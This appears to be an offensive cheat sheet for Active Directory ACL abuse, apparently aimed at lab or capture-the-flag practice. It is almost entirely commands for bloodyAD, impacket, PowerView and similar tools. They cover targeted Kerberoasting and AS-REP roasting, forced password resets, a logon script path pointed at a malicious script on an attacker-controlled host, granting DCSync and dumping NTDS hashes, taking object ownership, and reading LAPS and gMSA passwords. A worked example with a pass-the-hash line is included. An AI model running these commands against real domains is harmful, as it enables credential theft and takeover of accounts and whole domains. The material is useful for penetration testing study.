๐ ๏ธAbusing ACLs/ACEs
GenericAll/GenericWrite
User/Computer
We can configure a fake SPN on a target account, request a service ticket (TGS), then obtain its hash and perform a Kerberoasting Attack.
Requirements: Having GenericAll or GenericWrite permissions
Linux
# Assign a fake SPN (cifs/gzzcoo) to the account called 'target'.
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'
# Get the TGS ticket of the user we made Kerberoastable.
impacket-GetUserSPNs -dc-ip 10.10.10.10 domain.htb/'user':'password' -request-user 'target'
# Leave the SPN empty on the user we had made Kerberoastable.
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set object 'target' servicePrincipalName
Alternative with PowerView.py:
# Through PowerView.py
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'
# Automatic process, assigns an SPN to users with permissions, gives you the TGS ticket and then leaves the user as it was.
python3 targetedKerberoast.py --dc-ip 10.10.10.10 -d domain.htb -u 'user' -p 'password'
Windows
# Make sure the victim user doesn't have an SPN
Get-DomainUser 'victimuser' | Select serviceprincipalname
# Configure the SPN for the victim user
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='cifs/gzzcoo'}
# Get the Kerberoast hash
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl
# Remove the SPN from the victim user to leave it as it was
$User | Select serviceprincipalname
Set-DomainObject -Identity 'victimuser' -Clear serviceprincipalname
AS-REP Roast Attack
We can assign a user the flag (DONT_REQ_PREAUTH), request a ticket (TGT), then obtain a hash and perform AS-REP Roast.
Requirements: Having GenericAll or GenericWrite permissions
Linux
# Assign the user 'target' the flag (DONT_REQ_PREAUTH)
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
# Request the TGT ticket of the AS-REP Roastable user
impacket-GetNPUsers domain.htb/target -no-pass 2>/dev/null
# Return the AS-REP Roastable user to normal
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' remove uac 'TARGET' -f DONT_REQ_PREAUTH
Alternative with PowerView.py:
# From PowerView.py
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'
Windows
# REQUIRED TO IMPORT PowerView.ps1 AND ASREPRoast.ps1 ON THE VICTIM WINDOWS MACHINE
# Modify the userAccountControl (UAC) of the user to make it AS-REP Roastable
Get-DomainUser username | ConvertFrom-UACValue
# Request the TGT ticket
Get-DomainUser username | ConvertFrom-UACValue
Get-ASREPHash -Domain domain.htb -UserName username
# Set the user's UAC to default
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser username | ConvertFrom-UACValue
Password Modification
Modify another user's password.
Requirements: Having GenericAll permissions
Linux
# Modify the password of user 'USER_TARGET' to 'Password01!' with bloodyAD
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# Modify the password of user 'USER_TARGET' to 'Password01!' with rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
# Modify the password of user 'USER_TARGET' to 'Password01!' with net rpc
net rpc password "user_target" "Password01!" -U 'domain.htb/user%password' -S 10.10.10.10
# Modify the password of user 'USER_TARGET' to 'Password01!' with PowerView.py
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
Verification:
# Verify that the change has been made successfully
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'
Windows
# Having access to a domain machine or DC, we can modify the user's password
net user <user_target> Password01! /domain
# From PowerShell, create an object for our user in case we don't have access with their user to the terminal, and change credentials to the target user
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'domain.htb\user_target' -AccountPassword = $NewPass -Credential $Cred
Script Path Manipulation
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the login script path of the delegated user, meaning that the next time the delegated user logs in, their system will execute our malicious script.
Requirements: Having GenericAll or GenericWrite permissions
Linux
# Assign user 'TARGET' a malicious script that will execute when they log in
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
Windows
# Assign user 'target' to execute a malicious script located on the same victim machine
Set-DomainObject -Identity 'target' -SET @{scriptpath='C:\ProgramData\test\test.ps1'}
AddSelf
The AddSelf permission allows a user to add themselves to a group. This is particularly dangerous when the permission is granted on high-privilege groups or groups that have access to sensitive resources.
Requirements: Having AddSelf permissions on a target group
Method 1 (LDIF File)
Linux
# Create an LDIF file to add yourself to the target group
nano GroupModification.ldif
LDIF Content:
dn: CN=TARGET_GROUP,CN=Users,DC=domain,DC=htb
changetype: modify
add: member
member: CN=USERNAME,CN=Users,DC=domain,DC=htb
# Apply the LDIF modification
ldapmodify -x -D "domain\username" -w password -H ldap://10.10.10.10 -f GroupModification.ldif
Method 2 (bloodyAD)
Linux
# Add yourself to the target group using bloodyAD
bloodyAD -d domain.htb -u username -p password --host 10.10.10.10 add groupMember 'CN=TARGET_GROUP,CN=Users,DC=domain,DC=htb' 'CN=USERNAME,CN=Users,DC=domain,DC=htb'
# Alternative shorter syntax if the group is in standard location
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add groupMember 'TARGET_GROUP' 'user'
Method 3 (PowerView.py)
Linux
# Through PowerView.py
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-DomainGroupMember -Identity 'TARGET_GROUP' -Members 'user'
Verification:
# Verify group membership using various tools
nxc ldap 10.10.10.10 -u 'user' -p 'password' --groups
# Or using bloodyAD
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' get membership 'user'
Group Manipulation
Add ourselves to a group or another domain user.
Linux
# We have GenericAll permissions on the group, so we add ourselves to the group
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add groupMember 'Domain Admins' 'user'
# Add user 'UserToAdd' to a group where we have GenericAll permissions
net rpc group ADDMEM 'GROUP TARGET' 'UserToAdd' -U 'user%password' -W domain.htb -I 10.10.10.10
# Add user 'target' to group 'Group_target'
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-DomainGroupMember -Identity 'Group_target' -Members 'target'
Windows
net group 'GROUP TARGET' 'USER_TARGET' /add /domain
WriteDACL
This permission allows modifying the Discretionary Access Control List (DACL) of an object, enabling the user to change associated permissions. An attacker with WriteDACL could grant themselves additional privileges or revoke legitimate access, compromising system security.
WriteDACL on Domain
Linux
# Having WriteDACL permissions on the domain, we can give DCSync permissions to any user
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
# Once the user has DCSync permissions, we dump the NTDS.dit
impacket-secretsdump domain.htb/'user':'password'@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-ntlm
# Return the victim user to the previous state
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'
Windows
# Grant DCSync permissions to identity 'user_target'
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=htb' -Rights DCSync -PrincipalIdentity 'user_target' -Verbose -Domain domain.htb
WriteDACL on Group
Linux
# With WriteDACL on a group, we grant a user full control permissions over the group
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add genericAll 'cn=GROUP_TARGET,dc=domain,dc=htb' 'user'
# Remove the genericAll permission to leave it as before
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' remove genericAll 'cn=GROUP_TARGET,dc=domain,dc=htb' 'user'
Windows
# Add ourselves to the group with native Windows commands
net group 'GROUP_TARGET' 'user_target' /add /domain
# Through PowerSploit to give ourselves WriteMember permissions on the group
Add-DomainObjectAcl -TargetIdentity 'GROUP_TARGET' -Rights WriteMembers -PrincipalIdentity 'user_target'
WriteOwner
An attacker can become the owner of an object. Once the owner has been modified to one that the attacker has access to, they can manipulate the object having absolute control over it.
Requirements: Having WriteOwner permissions on a target object
Method 1 (bloodyAD)
Linux
# We become the owner of the object.
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'
# To ensure full control, being owners we grant ourselves genericAll on the object.
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'
Method 2 (impacket-owneredit + impacket-dacledit)
Linux
# Step 1: Set the new owner of the target object using impacket-owneredit
impacket-owneredit -action write -new-owner 'attacker_user' -target 'target_user' 'domain/attacker_user:password' -dc-ip 10.10.10.10
# Step 2: Grant FullControl permissions to the new owner using impacket-dacledit
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'attacker_user' -target 'target_user' 'domain/attacker_user:password' -dc-ip 10.10.10.10
# Step 3: Now you can change the target user's password
bloodyAD -u 'attacker_user' -p 'password' -d domain.htb --dc-ip 10.10.10.10 set password target_user 'NewPassword123!'
Practical Example:
# Example: Taking ownership of user 'john' as user 'sam'
impacket-owneredit -action write -new-owner 'sam' -target 'john' 'tombwatcher/sam:Password123!' -dc-ip 10.10.11.72
# Grant FullControl permissions to sam over john
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' 'tombwatcher/sam:Password123!' -dc-ip 10.10.11.72
# Change john's password
bloodyAD -u 'sam' -p 'Password123!' -d tombwatcher.htb --dc-ip 10.10.11.72 set password john 'NewPassword123!'
# Access the compromised account via WinRM
evil-winrm -i 10.10.11.72 -u john -p 'NewPassword123!'
Method 3 (PowerView.py)
Linux
# Make user 'user_target' the owner of object 'object_target'
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'
Windows
# Required to import PowerView.ps1
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "object_target" -PrincipalIdentity 'user_target'
Add-DomainObjectAcl -TargetIdentity 'object_target' -Rights WriteMembers -PrincipalIdentity 'user_target'
ReadLAPSPassword
If an attacker has a user with ReadLAPSPassword privileges, they can read the LAPS password of the machine to which this ACL applies.
Linux
# Read LAPS password through bloodyAD
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Read LAPS password through nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' -M laps
# Read LAPS password through LAPSDumper
python3 laps.py -u 'user' -p 'password' -d domain.htb
Windows
# Read LAPS password through PowerShell (native command)
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# Read LAPS password through Get-LAPSPasswords.ps1
Get-LAPSPasswords -DomainController 10.10.10.10 -Credential domain.htb\user| Format-Table -AutoSize
ReadGMSAPassword
If an attacker has a user with ReadGMSAPassword privileges, they can read the GMSA password of the machine to which this ACL applies.
Linux
# Read GMSA password through bloodyAD
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword
# Read GMSA password through nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsa
# Read GMSA password through gMSADumper
python3 gMSADumper.py -u 'user' -p 'password' -d domain.htb
# Alternative using gMSADumper with specific target
gMSADumper -u user -p password -l 10.10.10.10 -d domain.htb
# Read GMSA password through PowerView.py
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Get-GMSA
ForceChangePassword
If a user has the ForceChangePassword ACL on a user, they can modify the target user's password without needing to know their current password.
Requirements: Having ForceChangePassword permissions on a target user
Method 1 (bloodyAD)
Linux
# Modify the password of user 'USER_TARGET' to 'Password01!' with bloodyAD
bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# When using GMSA account credentials (extracted hash)
bloodyAD -u 'service_account$' -p ':hash_from_gmsa_dumper' -d domain.htb --dc-ip 10.10.10.10 set password target_user 'NewPassword123!'
Method 2 (rpcclient)
Linux
# Modify the password of user 'USER_TARGET' to 'Password01!' with rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
Method 3 (net rpc)
Linux
# Modify the password of user 'USER_TARGET' to 'Password01!' with net rpc
net rpc password "user_target" "Password01!" -U 'domain.htb/user%password' -S 10.10.10.10
Method 4 (pth-net)
Linux
# Using pth-net with NTLM hash (useful when you have hash but not cleartext password)
pth-net rpc password "target_user" 'NewPassword1234!' -U "domain"/"service_account$"%"LM_hash":"NTLM_hash" -S "10.10.10.10"
# Example with GMSA extracted credentials
pth-net rpc password "sam" 'NewP@ssword1234!' -U "domain"/"ansible_dev$"%"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa":"1c37d00093dc2a5f25176bf2d474afdc" -S "10.10.10.10"
Method 5 (PowerView.py)
Linux
# Modify the password of user 'USER_TARGET' to 'Password01!' with PowerView.py
powerview domain.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
Verification:
# Verify that the change has been made successfully
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'
Windows
# Having access to a domain machine or DC, we can modify the user's password
net user <user_target> Password01! /domain
# From PowerShell, create an object for our user in case we don't have access with their user to the terminal, and change credentials to the target user
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'domain.htb\user_target' -AccountPassword = $NewPass -Credential $Cred
Organizational Units ACL
ACLs on Organizational Units (OUs) can be exploited to compromise all objects contained within them.
Non-Privileged Objects
A user with GenericAll or WriteDACL permissions on an OU can add an ACE with FullControl and inheritance enabled, compromising all child objects by inheriting said ACE.
Linux
# Grant ourselves FullControl over the OU called TESTERS
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'ou=testers,dc=domain,dc=htb' 'domain.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null
# Verify that we have FullControl over the OU called TESTERS
impacket-dacledit -action 'read' -principal 'username' -target-dn 'ou=testers,dc=domain,dc=htb' 'domain.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null
Last updated